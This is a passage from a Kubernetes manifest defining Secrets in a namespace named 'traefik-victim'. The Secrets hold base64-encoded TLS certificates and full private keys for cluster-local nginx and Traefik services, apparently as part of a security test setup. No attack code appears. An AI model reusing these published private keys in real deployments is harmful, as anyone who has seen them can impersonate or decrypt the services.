yCmdOczJsSzAyVEZLQTVpNHBoanVjS0Jodm1FOUJvdUh5UTVlZUpqNDFFQkdaM0RNSmZDekZ1SUxNaWxrRG1VZkQKdVczMm1YR2FmS3dKOVNvdVdjSk82KzR6aFZKQitkdnRqTDlhT2JQY1JsS2J2WUtRYjVZTEFVQ1d1TGJxcnc0eApqbjRZTythRUVYVjVXTHRUOU1mZm94OTR1SG1ORll4ZUxrNVVhWnJMSTN4a25FODhQdExENE16NFJBbHc1S3FuClB0TlgvQmZIaFMrYUh5amlvc2tHODN4UTNRSURBUUFCbzRHN01JRzRNQjBHQTFVZERnUVdCQlRCTDl1MVU0aVAKZ2lQZDNmNS9rdDd2Tng1dEl6QWZCZ05WSFNNRUdEQVdnQlRCTDl1MVU0aVBnaVBkM2Y1L2t0N3ZOeDV0SXpBUApCZ05WSFJNQkFmOEVCVEFEQVFIL01HVUdBMVVkRVFSZU1GeUNLMjEwYkhNdGJtZHBibmd1ZEhKaFpXWnBheTEyCmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWpZV3lDTFNvdWJYUnNjeTF1WjJsdWVDNTBjbUZsWm1sckxYWnAKWTNScGJTNXpkbU11WTJ4MWMzUmxjaTVzYjJOaGJEQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUFaZlVYUHVpTApGVTRPMHlSUXBDeFduZW5GL2hEWVgvS01NcnMzUWd2ZHNQcDZBOEg3dGxsM3FSaFRWMFBxYXI3SW1EOWdmT1NNCjFnU0s3dzBJd0ZoVndjUmFQSzMwVGFXZjNtTXJ6bm0zclJRK1NzcEFSTjFYRGJsR2JOSUpwNlF0ZHNDVGRpaUkKcTFFWEwycGwzaWczVjNTWVNkUGtXKzhBYVgxZDZkdmlKLzFjK2ZiVS9IZlRINXdER2NWTktFendMOHJqRlpjVQp0eXZLWHpuOVh6eTZYQnZUbTBQczczZ210UkxZTStMd21UdjQ0OG1NbVdJWFVreVFGMFdncTRCaStyM0lYYldDCmV6OFVQNFNnWkR4WkRBVjY5dGhXMDZvR2xub01YNlJsR2lzRnd3ZEZuZWxmS0RXeWlYYk9wVGtaWjlCQUhoQWUKOU9JWVRFVmp5RFNHWGNLcGNTTFY2Z29MVVExR0VYZlBGaE5EWis1UUFHcGljeHYxdjFUVUpBNEFqS1VSYlpIRApvclhJd0IvTVc1VnpsMGRNM3k2ekJ1aUlMWUJUMVdidVI5MWlsdGxtR0JBVGdGNlJlNk04SnlmYW10bHNxbHR3CmNUQll4LzBYNzljT2FNM21iTHlOeWxiZkhMek5USmx4em9OTXNhR0J4RVNJTFovRnFkWmhjeTJBOW1IbGV5VlYKSVdJRjlmTDZpS2IxN3dMbXhWM1pxR3JMZFNraXRPNUdjYjVWTWc4U2VSLzNPc0pySGtQZy8wRlhiMDlUY2V4VwplbFZSVzhyWHhLQldjT2dZaWhQK3hweTJiUHV0bWllaVFpZVpUMVMxSXczSWJMWXBxYzNvU3NmVklSSTJ6R0FJCkJVNHREVHBjR3ZOdEErVGs4R2xJcnppSmV0QUlhNWRvaTFJPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
tls.key: > # mtls-nginx.traefik-victim.svc.cluster.local.key
LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQ3lDUEdaYVVOT3ZWc3gKbGtiMXlEMy9KeTI1L29CYWY2UFN1ZzlDc1Zac2lTSU55cmJoanBGZFdOVCtjR0RwaDR3bGloRlVaLzViMHVSVwowUG9vOWhTbjdBdFZIZXBnNEJTSDlWYXVTUHNIQ0N1bFBMOWhTSitUMko3eTVmM2d3RUdqdUllWXI1aGtvSHcvClhGdSs5dkpUd2duQnFPYStZUi9MSmlCZDhCcHdHd2h4QTRrQ2NsVG84c1lNYXBYOHRTblltcE5UTUhnQ092VGcKNi9DeEthNEdTK0xOeGlSSDloNnJ4WkxJeEE0OWR1UVVTdmRHc0VmMU13OXNrV2YyZEVVR1R1VHk1Z1pTckY0Ngpkak9pUU1XMFlaZkNFenhYZTBUc3ZNZHpac3NNVEM3V2g2eWZhQ29zZ0NGSHNIL2RqdlNBbklkY2k3ellSbDN1ClJZK2lUNW96OTh0UzJseC9IZWVkSjJhYjlDZWpObEVDMHZzUDhjMnl6dXBSeFJxRWtNVDR6NnhCSzI1OW1hd2IKM1FoUzBCT1VsSDRLb0NVZHdtZURxVmUxWGtEbjQyMUpaMFkxNExJUmxENEIwSy9UZUFlQVN5cXBINk9HckwrLwpCd0pyZ05zMmxLMDJURktBNWk0cGhqdWNLQmh2bUU5Qm91SHlRNWVlSmo0MUVCR1ozRE1KZkN6RnVJTE1pbGtECm1VZkR1VzMybVhHYWZLd0o5U291V2NKTzYrNHpoVkpCK2R2dGpMOWFPYlBjUmxLYnZZS1FiNVlMQVVDV3VMYnEKcnc0eGpuNFlPK2FFRVhWNVdMdFQ5TWZmb3g5NHVIbU5GWXhlTGs1VWFackxJM3hrbkU4OFB0TEQ0TXo0UkFsdwo1S3FuUHROWC9CZkhoUythSHlqaW9za0c4M3hRM1FJREFRQUJBb0lDQUJmRnFram9tQjhDbVdqV0h1bldUOXpxCjJpZ01nUTZweU1kVys3bXFoMEV5ZXhScUNIVzJ2U3lWM2g3a0JOOWtoTm53V25SY1RISkRYSHBHZmk0THFiZHIKQlJwYm03NU5hQlc5WHlmTXdUbHZwYkJJY1JUUzNIMU5LVVdDdGZNVmlNNDMwZ3laQ2NRSjlTZmFzN29jZ1pWSQpncTFVQkdJbHJZS2VqU2VEUU1IT1Y1Z0xqUGNCZ0MvNHJCUTFXVFg4bExhczhTdGtVZW51VXd0WXhjaWZmdkt0ClNGUUo5ekhsVXdsdTlnb09aUWtLVlNzV2dDSjFZRmtGSDk2ZHpjckg1MUxsSkVkV0NwWERHVWs4eGo2TjMrTHEKNkd6TUltY0YrUzZUM2NmeTBQMmhOZHlFWjVBdUdhVGIyUUJ0dUswWXJRZDM5SHB1MkRaQ3N4WjJrd0Z0Ri9MMgphd09SYWlrZEhqNWtBc0tuYkRRb28ySnJRTG41N0ZwaW9jOC92Umsvek1jeVREMkN3UGlzYURmenBwTm1LaWR0CnlieEFxcklJOEZIcG5XVHNlVFV1dEtZanNTNy8vSFNDNHpwN0ZCK2IzY29TSjVaS0c5aDdVOCtqSXN5MHI0MUcKNllqVyt2MzNibWttbmJOWnYrelpUbUhJTFJOVXNFZjdSeXdiYnRSZkVkTkEyR2Y0OHpKc0d6SXhZLy8zbjBRTgpnYzZPakJYdWhUL2lmT0VIdERVTG1yU3RoZjBHcVB4SC9pSUlyLzJ5M05IRG9yaitIeGlsYS9PUk9Nbk9qRCtDCkI1RWlYell6YWFiZ1FScE1XaWx0NXMrU1ZFdnJKVnBFNm95S1hXeXdZRzhiWENxcGdlTEduN2tRRStBakF4Q3MKdHdLc25qSUlJTUJtUSt4YzN0Z0xBb0lCQVFEZFhvdm9CM0tzdFhHTHl3ZVlJL0ZCM3JLdU9lOTIweWpFVGFYRApoYWhpYWJsSUxlWkwwamh3d2pRNmt0ckhubUZZRTNPRURGRWxabnpWejZJcjJZOWZiaUVYZWFGUTk4UHJKejE2Ckt3SjUyT0lrTjVTYVVlcW91akxpUXdpYWc4dUpQYlNZZUtpK0hqK1VDbHdGenN1b1M2Qy9qVnJPdmsvb2Job0wKVXgxM1B2RDBIL2hXSTBTQnRJZW9RMWpIZ0dUWnlPWkE2YXM5M1ZzUURiS1p2dHlnRVdLMFdXODRIL3JDZFloSQo1OW1nS0h4YXJJMTdRY3FpMXVhTkk4amlXTTJ5NDgzZ3B2ZzgrZWFCcFJsRXNqN1NnU29hdnJBMk9NTmhHYlBDCjhPbjBZUFdENWxYajVJSFJUT2MxTkwyR09OSEg5bi9XWGhhM09oR054czV1RU1ZWEFvSUJBUURONHU1VzllU2kKS3NUTHM4MWNidHM1QnZqbkx6SFBLSCtnbVNlMDhjUjBNZzdoeGowUVB3N2pCTGgzUFZmSzVuU2xRNWtRR3FhcApYa1BBR2tERThKYUlVbEFJdGh0N2dTb3dkMWxqd2h2SUxua3RJSmpCSmxXd0pBK09RQnJ4dVVBc1orY2tQd2xuClVFemZyd0JZcE5rRFIvcUx5VHZCZkxOcnVSNnVsNFBjcmxNUnZhQTF3cHdncEdxNUJnNG15ZWMxRU5MRHZuU1UKbmw2b2tkWWdEallhSGxIQzhWTzQzTDJTcEljRHgzUTZyY2Y4ejg1ZUZickxyR1JzU2hIZGJFdHkxcVpiS0NiMQpIV2pQa010S0x3NnJGRDlRaGNaZE1Hb3VNYTUvZG56UDNuNTV1aUxJMVhwak1wUWRrMmVqMkx1b1pDSmp1eTJYCjc1VFhpNnNyankwckFvSUJBQlhLUDdWSVBtWjN1Y1NMNktSMkxVSlJuSDcvM3Uxd1hadnRGTHNKUmdqaDVVWVEKbHBHeUVMSXd1NWxrYVRxckFXUDlEaXJhVjRaNTd5SFF2V0xabUg1SlJlS2NxMTlmOUI0S2o4ZWR3akdpUXFoVAovRUd3Zkl1OVFGTDdURGFCY0tDQ3ZXc2d2V054Y01xdXRsNHYrK1lHQTcyM09WQU9kYWtvWlZIbURZbDJYWnQ2CkppUzhkZnJhZlZ2M3ZSNXVLZjh5QWxBemNCSzMza1hYUTFSVThEeWxXWFR0Tk1CdWpXMWt5bFI2MWZZbzVneTYKM1haYmhJbkE0NUxUQ2V3VjE3R2JNT0hETGI0Nnp4REY0cFhiZ2NtUXcwYzhxL1c2WXFrRk1hZW50Uy9EOTRiVApQbk1mUkJRSklOMGc0dUw2WnRQckZLeFNPS1F5aUJYUGt2Uk1uR01DZ2dFQUc4eWxZK2FGdllQSzJMcHBZeTZ3CnVRMkE5QzVDS25lTWJCSGg4Nk9sWkE4U1JWZndETTZHNHc1VEhmNlJhUnNlNnVXcXVDcnhEL05qY0gvYStQeUgKUnRiZWFaNjFMVUx1Z0diTkVoUTJqaHdBVHFDVkg1ZGVnSThON3FZblBUWkhQUGUybFFWUjdyby85di81S3Y3dgpNbXM0b0VGR3FVUitNWEJvZlNpR0xIajVURzd2UC9NTUE3aFBsTFlGbVNVdjY5RmV0QUYyV2s3Yjl5VGg1YWdsCmsvYytFUFZtMlpJc29xMUdjYk12dFhDYmpUNDkzaVJPK1l0SWIvcThXTXB6a1lqOEkxalRrY3NyeU1NRFAvd0UKbmdMNDNaV0NpRGl1VFpoMXVFNDJZaGJudXVYd0ptLzB1NG9yeDZhTW11bjd4S3Zvbk5DOFFrU2VNMUJ2aDAwbwp5d0tDQVFFQXh4dzFBVTltNGF4UGsrZDdlZzJkRFpobW13N3l4MmlObGEvdEV6aGkwM3VCdXA2eENZTEN1TUVYCmFOSmNVcmJ3c3Rzazc2Zy83YjJXdVZ5UThBT21ZZWk0ZzREcFpEWUpPdjNaVjZmcjhoUSs3ZUFlZUUyQVovZ3UKUnowSG14dWxrWHVYcU9QcW1tZ0dDWnl1SmluWmJiYnNsMDFQb2N1ZkpHZ21tZnVndzBFb09VT1VoaFVlSUM3VwpzV3lGQm5JMWlSVDFwTzcydkovVUxTak9mMERUcW0wY3M1c1FiQUNtbHptcHhlVVZWeGdZeG8vMSszeW51aWhWCjZlOE10a2NJQk9lZjU0eHBMVUVOL2dGY2dNeU0yaXJ6VmxJSUdSODNsZEx4cEZBUHRzUU5OTkVFTjk3TlZLQ2kKUTdkNi9SLzg1KzRMZzdnKzljSEN5d09GbmVrbzBBPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=
---
kind: Secret
apiVersion: v1
metadata:
name: client-cert-secret
namespace: traefik-victim
type: Opaque
data:
tls.crt: > # traefik.traefik.svc.cluster.local.crt
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZqakNDQTNhZ0F3SUJBZ0lVQXBBRkNUZ0tlbk8weUZIZVZqSUJRQ3hTRHVZd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERXFNQ2dHQTFVRUF3d2hkSEpoWldacGF5NTBjbUZsWm1sckxuTjJZeTVqYkhWemRHVnlMbXh2WTJGcwpNQjRYRFRJMU1EWXhNVEUxTlRVek0xb1hEVE0xTURZd09URTFOVFV6TTFvd0xERXFNQ2dHQTFVRUF3d2hkSEpoClpXWnBheTUwY21GbFptbHJMbk4yWXk1amJIVnpkR1Z5TG14dlkyRnNNSUlDSWpBTkJna3Foa2lHOXcwQkFRRUYKQUFPQ0FnOEFNSUlDQ2dLQ0FnRUF1Zzhia1ljbGVFbUQyWC9ZUU8vQ00vL0NTNDJHQ3hodDVTUlJUL3ZiaXorbApMWkZGdlJzRFdjN0ZJTStZVHZCU2MxM29UdjcwMGpjS01RQjR1UzV5KzErbnFRVjVhWTdSTkgrZXRodUg4NTg2CnlDL0wvSitJeHFQY0xtMTBCbDU0L0dRRjNIRjdqaVl0dk5lOFUveFRaeW5tdENPSVM1QWp0WWRhQUcxWExTaDMKSnV1elhyZUYxNDVIU3FQaEhySWlESkdJaGh5eVFDODMxaDUrQjNzelJWeUtIM3Bjc0k1M0tsdTJYUXdJUjR5NgpPTWtacm5ReE9pVFB6OFNydUNnSWwwdTFPdHN0Nk0zQWJ0TXB5VmU0RjFMbjRYaU92T1R0Qm5LTjFEb2YzNWdVClJ0YmF1LzJwTnRpK1FrWjg4UHd4enI0UXl3YTQvYVRzRDQvZ0RDWnNLa2NZaVNsOVB5ZFN3Q0pMSXVIYnJVSEwKVkJCZFF2S05QSU9ZOWxsWU1yZXBuV3ByYW9jb3dNc0JCdUg4dG9ETlJHRHFPdzJpZkRia1k1QUE5K2FrQzR5agpsSlhlR25jSUdaV2V6Nlg3Rk5DeWk3U2ZIWjhuOFRPZ0tqaUozMmZyak5tTGdXWEhpelorb3VEY2RCQkdmMXphCkR5RndKZ2Fwamc2OWRNeHlwc0NUNVlDV2hiUkhuMXlndUgwckxKT1BlYXVZOWFPMHJEWGg2SU02N2J6TU50QmEKajlUcTJ0MjlSOE8wbyttajdKMVpHVUZRbkNPbXRHalpPMjI2ZGp3RldXVEJKVUhVMTFyeXp4KzVPVE1mYkxDcwp0SmZ6R3VqaitGcnJiMWVoaS92TkxyeWp3K05sNHF6bUlQRlNaZWVXUnQwQ0JkQiswWklseWdGWTFjeUJyRkVDCkF3RUFBYU9CcHpDQnBEQWRCZ05WSFE0RUZnUVVLVkJyVzRMSmZRNktKbmdyTDRFYk1mR25FV0l3SHdZRFZSMGoKQkJnd0ZvQVVLVkJyVzRMSmZRNktKbmdyTDRFYk1mR25FV0l3RHdZRFZSMFRBUUgvQkFVd0F3RUIvekJSQmdOVgpIUkVFU2pCSWdpRjBjbUZsWm1sckxuUnlZV1ZtYVdzdWMzWmpMbU5zZFhOMFpYSXViRzlqWVd5Q0l5b3VkSEpoClpXWnBheTUwY21GbFptbHJMbk4yWXk1amJIVnpkR1Z5TG14dlkyRnNNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUMKQVFDTmd5T2piV0V5V2EySWx0cFN4bnQyKzlwYlVzRmVwcmwycjJ2ellIL2o1NmxwbmpsUVhKRXBac2ZDNDBLbQphRXlsWmhJckNxeE9udXlHSFExSEY4eWN6UzdIZDJOUEs3SGxIQ013cEgyYm5vUXltZ3cxL3YrWTliRmxuUmNZCkEyQ2NuMTNtVVJQaG9EWllDQWVvTUcwNjNFZTU2dThOVEpyejJWbVN3OHhKbzJDd0JGK3Z6RkVIelFIUG9zSksKbGFZKzZzSnJheE0zeC9lSURWZzNoTGw2dTJLWm1FcnpTREUxMkxUQzJOb2RqdjZWa2RNcXdKU2lRNWJPRVlkZwpiQTZ2Tkg4bk9xZVRCZUtHamt0NytFWWJJL29XLzNaUmlyWkwvUnFOcmd2K2ZQa0Z4am9YbUQxcnRQN0hHRGtmClpTR2VqQkllKzlseVhubDArcllIUG05NkoyYjVxM0xFUmRCbWtlY1JvVW1yZWJaOWhETEk1RjhFQW5PZStwaTIKUWpXQ3dzajZvckNMRkRBa0ZUMGllZENUanZHTVB5YTNGZTBmNXRNVXoweTZaeURiOUpSWmpOTUFPTW01cjQ4VwpRaEs2R01sUG1LNEc1dHVMRDRXQ2VRa3Z2ZGp1WXJJL3lrTFF4dndsQU9SMUM4dVlYd0pwQjdEc1VVWlVIWW9zCllqenBTbGtkSWhQU2JPbTlpS1N1aEdGUVZEdEJsM3A1VmVtYzZyL3c4dmk2Q1R4cTNhSzdSUEgvbVEzcWtYS1YKOTNpbEhkMnBBTENWVlF4V05WV2JGYzJ0Qys4aHVKbk5zdjJwRU9MQzMwMnE4b1dpRGM0STBsY3E2dDhiSFNrTgpEdG1MSU5idHpkUS9QSzZxN1JKVTU0VExmQThPNHRpY2o4SEx6b3pzRE1FdUR3PT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
tls.key: > # traefik.traefik.svc.cluster.local.key
LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRd0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1Mwd2dna3BBZ0VBQW9JQ0FRQzZEeHVSaHlWNFNZUFoKZjloQTc4SXovOEpMallZTEdHM2xKRkZQKzl1TFA2VXRrVVc5R3dOWnpzVWd6NWhPOEZKelhlaE8vdlRTTndveApBSGk1TG5MN1g2ZXBCWGxwanRFMGY1NjJHNGZ6bnpySUw4djhuNGpHbzl3dWJYUUdYbmo4WkFYY2NYdU9KaTI4CjE3eFQvRk5uS2VhMEk0aExrQ08xaDFvQWJWY3RLSGNtNjdOZXQ0WFhqa2RLbytFZXNpSU1rWWlHSExKQUx6ZlcKSG40SGV6TkZYSW9mZWx5d2puY3FXN1pkREFoSGpMbzR5Um11ZERFNkpNL1B4S3U0S0FpWFM3VTYyeTNvemNCdQoweW5KVjdnWFV1ZmhlSTY4NU8wR2NvM1VPaC9mbUJSRzF0cTcvYWsyMkw1Q1JuencvREhPdmhETEJyajlwT3dQCmorQU1KbXdxUnhpSktYMC9KMUxBSWtzaTRkdXRRY3RVRUYxQzhvMDhnNWoyV1ZneXQ2bWRhbXRxaHlqQXl3RUcKNGZ5MmdNMUVZT283RGFKOE51UmprQUQzNXFRTGpLT1VsZDRhZHdnWmxaN1BwZnNVMExLTHRKOGRueWZ4TTZBcQpPSW5mWit1TTJZdUJaY2VMTm42aTROeDBFRVovWE5vUElYQW1CcW1PRHIxMHpIS213SlBsZ0phRnRFZWZYS0M0CmZTc3NrNDk1cTVqMW83U3NOZUhvZ3pydHZNdzIwRnFQMU9yYTNiMUh3N1NqNmFQc25Wa1pRVkNjSTZhMGFOazcKYmJwMlBBVlpaTUVsUWRUWFd2TFBIN2s1TXg5c3NLeTBsL01hNk9QNFd1dHZWNkdMKzgwdXZLUEQ0Mlhpck9ZZwo4VkpsNTVaRzNRSUYwSDdSa2lYS0FWalZ6SUdzVVFJREFRQUJBb0lDQUFpZ0pTekt1V1c1Y01PZlRlajZ4SVBSCkhsS08yZEUvWFc3alQySzRJQjQxUWVUYUtJUERFaFZ5aE1pSDN6MS9uaTdyZ2xiUk1vdmhVZGRpT0hhTFRQalMKM3l5eWpJV2tnWlhmdWIyakNwczBmVTdsQ2wyb2pyaDR4YjhnUTJIOU5Mb3NyK25mbC9VSDE1UjY0dWY0Mld2OQpzUXlXWGgzMHJYY2Zzb0ExRVhiT09ySGkrUEtSNndKS2Znc2JqRmIyTnFaakE5T0Yxb3lyczdpNU9xb0JuK2VlCkNlZzZMYnhncW0wY0Nka0g4d1ZRSkp6MzA3azIrVVpEQ1NCT2M1Q0t5SlV0QlJhWXJTanZDdllJVTVaYU92WlgKMlZpbVZHVzA3amtmaSt3MEVxQzB4ZkhmeVkyd0RZMTFvR0pscnFxa1luRzlkWDFZRHpEeEdhR0NEOGE0YkVpNApJWjVwVkx5b016QmRZdzY0ZUErNWdzQWYramJQVW5NMzFyMVd1bEhEWlRGc05FOUFaQ1FRdTd6bGdESlI5eVd0CmdKb1JoOWtrcHNuZ3NieEEvUTZkRlBIZG9HNUFFRmJvamZvRk50ditYMnVwN1ZYSlJrYjZzUlFHNFBac0RNSHAKWHp0UHo1OS82T3psRUdjekxMMDZQS000czlkSDNYUTA5bXZES1VhemdSMkphOWFyeVh3bE16b1hiTHJYeVR5SQpHeE1oclFKTUx5NzlCWkJpYytlbnROTWZLNzM1VC9HMlRmN29KVFRlRFI1ODI3UjRsMjEzWHhnUzlMakJCcm0rCmZXa1RTeVdIZ1ZaUisvdWMzMXhCcWIrM2granJKKzVpcVhZT1RXa1JkKzhIcEFzUmRqOUNzUXF6QXRKTkp5Rm4KazlzLzBISkE1eXA1L01nWkw1cTlBb0lCQVFEeDlwWEpGWHJUeGJnZlRRY3A4dFc0L25mRFlGemJlcGcvcE5rWAo2ckZCemFlLzFYNXZqMUpuUDkyWDM4eE9VMG9oQ3BTcnlLWm81K281WXJSeTZXNElFZEV2MGVlelVWU1lDVVR5CjNmYktCbUN5TytRZzZ4Si9nbkZZTlB5cjRpZGd6VFJxUnFnV3M5TnROTTBsSlphdnViVHBDY1I3a1ZaS1pnV3gKcS9HNHhwdE8vNUZEcVRTNk1LNDlXbjA4RTltTmpUdjZTRmlPSkJsYkhrUGVrZlFSY0VjS09JUlN2em5uSEY3MgpSTXpKMEJRYW9RZXRGem9LbmRMWVBLVS9tVjNJSElwYkVCd21pK3IvaW9BOW9TNElKL25HckNVM1JHTWliYlQxCkZla1VyN0YvWGlXM1ZaSmNSQUZPOFlvSUlQSjlyb3hGOXNnVzVySlFoc1RGOTFNbEFvSUJBUURFMmtqbld0QW0KSmZTN0piTnlFOEZ1YmVPaUZQNWxVOXJSNURkcnRtUDVBeGVjUGZXamY5eTh5bkNkb0hxMWRidEExeElUUG9mNAphcGthL3RRbDZSNGdwNEdycWFyd2ZYUmllUk8xdHYrM0k2VHNoY0M0T1VSOXVOaC9oTk1sUXRmZENxcUJvTlpiCkxocml0RW9wN1grQWdHUGhwbVh6RjdUTEY3RzBWY1QrdDZjZzJvczdZQUhpakdrbmdCeFp1dXRhV0dHRzNYZkQKMStvNmlnb25Wd3dTeHBLdjlMTnZGcWZkd2NVbzgyWG9lWWpFQUphYm1kRGdmYzhxUkp1YnJGQWJCTDA0UlRoYgowMGkwTXpqZ1dLem93L25zekZNeDIzSUk0R3RPaEFXVWorOG11ZnVvTnNKZFg0RkQxb1YzcUN6UStESFg2Q1phClZEc0xwcS9iUndLOUFvSUJBRUJSaVAxNzdUdVFDbUtmcWpEWGNVS011aTlBVlU2dVp2dzhDTTFYd0tpNlQwWXEKTFVMZ2VVb2k2dmV0TVBUOUpPNWxqcUdmWThUdEtSRDZFUGVlMzNYYnJweWtrby9USmNhSWFFQ2JDamdudTlxRgpHeDQ0L3FEUWZ1cXdveDNacnhnSFZGQ1AyYXkzUHBOLy9xeEtNcVVobTFwN0V6UzVySk40VFRrdWVNSGlZWFI5CmNSTG9UckRUc2Uxek9Xa1g2Yk84QUY2R2pxdXlJdDlheXpYRjNIZ3FQV2dWSCsrVEQ0UkV3V1Y3WW1pZkhFajcKMXp1R3VoSUtZL3JCSERnc3Y0WXJPQWYrMzB6TDBycjlDUnZZMVpDcmQ3VDlHNk4yVlZmWWk4cStlVWZiY0RabwpRMlJacGQ5SzRJSW9xTVdDWkpOT0s5R0pTU1QxVEI4bHcvYlB5TlVDZ2dFQkFNUGsvZHZOa1lvRkI1QWRxbitCCmpXS1pWSWY5SUZReHFIWnJCNFBYRTVIQU5BUzEyL2FDeldYS2gxczFVaWUySzB3Uk90bVB4cnU5U1BPR1dCUUoKOG9OSWJsQW9IZ1lJc29NMFBocjlLMmhTdmxMcG42azB4Q1hnaHdJUGFoZVFkMFJ1MHRNQS9ZL3JSN0lHL0M3UgpPNnJqR1lKNmxzWGM5M3VMN3JtcENNcjZkQVRMdHZhMVNlcnJFOUhOT1dsS0M5L3lSOHR3SlRqdGF4Z3FPb1IvCnFYSWR6ZWZ3T1lmNUljQWFqbHQ4TEJPMnJoVnZDSEY4RmxMd24vSk9LQlE0MjlhblZxM2lwSDBzdXhNb1RoZGoKNTE0VGVHamZ4SUsvQUxJNHNsQ0dMUTkwVk9kUytVNmlmN1Z2enpGMUQ0ak9BUnRMZ2o1N3RYNzZoMi9HeHdZTgptbmtDZ2dFQkFMcTNpSFl3NTBmWHlJSnd1eGN4amd6YkoyZzY0TjdLcHZwK3Y1QzFGWXJRTnpKZ0JHMnZoTWU4CnJqdTlZeVFnazVsdStyZ0lOQlplRzhSaDN4OXA0WGFMUXNueVZ0SWQrSnIwV0RpSWdZUVh4UUNtWko3aTB2ekYKcGpXUzA4SVFJdVVqM2hUT1lTeG92YW5HZFRZWkVkaUt6ZEFuaWJYSkZzMEpyQXpJOHJLSGFBRlpCczV4WDhLYgppT1U1ZWZ5cTZRb2pHM1VneitlRUcyZzhlc1pzQmZkQnE5bVJ5NEwvN0toNEV4TXJpOExGRDI3dzV2TWFPOXRQCnovbmVLM0xOd05xYlNnRW5nRG00eE9QeTByWHVYYWdQRnppd1F4anlTdm1YNXFQNUxGNG9QMjRRSS9Ia1g2RVkKa2dVVG5MZXU5NXBwY2Z6V1lPNGNidHVNQzZDWHNnQT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=
---
kind: Secret
apiVersion: v1
metadata:
name: nginx-cert
namespace: traefik-victim
type: Opaque
data:
ca.crt: > # mtls-nginx.traefik-victim.svc.cluster.local.crt
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZ0akNDQTU2Z0F3SUJBZ0lVSnFKb2VvMElYa2dLcjRwOGpBWEtJb1BoSFpvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd05qRTBNRElHQTFVRUF3d3JiWFJzY3kxdVoybHVlQzUwY21GbFptbHJMWFpwWTNScGJTNXpkbU11WTJ4MQpjM1JsY2k1c2IyTmhiREFlRncweU5URXdNVGt4TkRNd01UUmFGdzB6TlRFd01UY3hORE13TVRSYU1EWXhOREF5CkJnTlZCQU1NSzIxMGJITXRibWRwYm5ndWRISmhaV1pwYXkxMmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWoKWVd3d2dnSWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUNEd0F3Z2dJS0FvSUNBUUN5Q1BHWmFVTk92VnN4bGtiMQp5RDMvSnkyNS9vQmFmNlBTdWc5Q3NWWnNpU0lOeXJiaGpwRmRXTlQrY0dEcGg0d2xpaEZVWi81YjB1UlcwUG9vCjloU243QXRWSGVwZzRCU0g5VmF1U1BzSENDdWxQTDloU0orVDJKN3k1ZjNnd0VHanVJZVlyNWhrb0h3L1hGdSsKOXZKVHdnbkJxT2ErWVIvTEppQmQ4QnB3R3doeEE0a0NjbFRvOHNZTWFwWDh0U25ZbXBOVE1IZ0NPdlRnNi9DeApLYTRHUytMTnhpUkg5aDZyeFpMSXhBNDlkdVFVU3ZkR3NFZjFNdzlza1dmMmRFVUdUdVR5NWdaU3JGNDZkak9pClFNVzBZWmZDRXp4WGUwVHN2TWR6WnNzTVRDN1doNnlmYUNvc2dDRkhzSC9kanZTQW5JZGNpN3pZUmwzdVJZK2kKVDVvejk4dFMybHgvSGVlZEoyYWI5Q2VqTmxFQzB2c1A4YzJ5enVwUnhScUVrTVQ0ejZ4QksyNTltYXdiM1FoUwowQk9VbEg0S29DVWR3bWVEcVZlMVhrRG40MjFKWjBZMTRMSVJsRDRCMEsvVGVBZUFTeXFwSDZPR3JMKy9Cd0pyCmdOczJsSzAyVEZLQTVpNHBoanVjS0Jodm1FOUJvdUh5UTVlZUpqNDFFQkdaM0RNSmZDekZ1SUxNaWxrRG1VZkQKdVczMm1YR2FmS3dKOVNvdVdjSk82KzR6aFZKQitkdnRqTDlhT2JQY1JsS2J2WUtRYjVZTEFVQ1d1TGJxcnc0eApqbjRZTythRUVYVjVXTHRUOU1mZm94OTR1SG1ORll4ZUxrNVVhWnJMSTN4a25FODhQdExENE16NFJBbHc1S3FuClB0TlgvQmZIaFMrYUh5amlvc2tHODN4UTNRSURBUUFCbzRHN01JRzRNQjBHQTFVZERnUVdCQlRCTDl1MVU0aVAKZ2lQZDNmNS9rdDd2Tng1dEl6QWZCZ05WSFNNRUdEQVdnQlRCTDl1MVU0aVBnaVBkM2Y1L2t0N3ZOeDV0SXpBUApCZ05WSFJNQkFmOEVCVEFEQVFIL01HVUdBMVVkRVFSZU1GeUNLMjEwYkhNdGJtZHBibmd1ZEhKaFpXWnBheTEyCmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWpZV3lDTFNvdWJYUnNjeTF1WjJsdWVDNTBjbUZsWm1sckxYWnAKWTNScGJTNXpkbU11WTJ4MWMzUmxjaTVzYjJOaGJEQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUFaZlVYUHVpTApGVTRPMHlSUXBDeFduZW5GL2hEWVgvS01NcnMzUWd2ZHNQcDZBOEg3dGxsM3FSaFRWMFBxYXI3SW1EOWdmT1NNCjFnU0s3dzBJd0ZoVndjUmFQSzMwVGFXZjNtTXJ6bm0zclJRK1NzcEFSTjFYRGJsR2JOSUpwNlF0ZHNDVGRpaUkKcTFFWEwycGwzaWczVjNTWVNkUGtXKzhBYVgxZDZkdmlKLzFjK2ZiVS9IZlRINXdER2NWTktFendMOHJqRlpjVQp0eXZLWHpuOVh6eTZYQnZUbTBQczczZ210UkxZTStMd21UdjQ0OG1NbVdJWFVreVFGMFdncTRCaStyM0lYYldDCmV6OFVQNFNnWkR4WkRBVjY5dGhXMDZvR2xub01YNlJsR2lzRnd3ZEZuZWxmS0RXeWlYYk9wVGtaWjlCQUhoQWUKOU9JWVRFVmp5RFNHWGNLcGNTTF